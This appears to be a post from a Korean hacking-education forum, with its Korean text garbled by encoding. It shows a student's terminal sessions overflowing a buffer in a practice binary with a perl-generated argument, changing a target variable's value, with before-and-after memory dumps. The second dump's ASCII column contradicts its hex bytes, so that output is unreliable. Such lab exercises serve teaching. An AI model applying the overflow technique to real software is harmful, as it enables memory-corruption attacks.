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http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=24060 [º¹»ç]


perl ¸í·É¾î

[student@localhost 15]$ ./training_2 AAAAAAAAAAAAAAAAAAAA`perl -e 'print "\x69\x7a"'`
0xbffffb10  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffb20  00 00 00 00 d2 04 00 00                           ........
[*] BEFORE : the value of target is 1234

0xbffffb10  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb20  41 41 41 41 69 7a 00 00                           AAAAiz..
[*] AFTER : the value of target is 31337
[student@localhost 15]$

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[student@localhost 15]$ ./training_2 AAAAAAAAAAAAAAAAAAAA`perl -e 'print "\x69\x7a"'`
0xbffffb10  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffb20  00 00 00 00 d2 04 00 00                           ........
[*] BEFORE : the value of target is 1234

0xbffffb10  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA
0xbffffb20  41 41 41 41 69 7a 00 00                                       AAAApearl
[*] AFTER : the value of target is 1819436400
[student@localhost 15]$


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  Hit : 4744     Date : 2012/07/08 06:28



    
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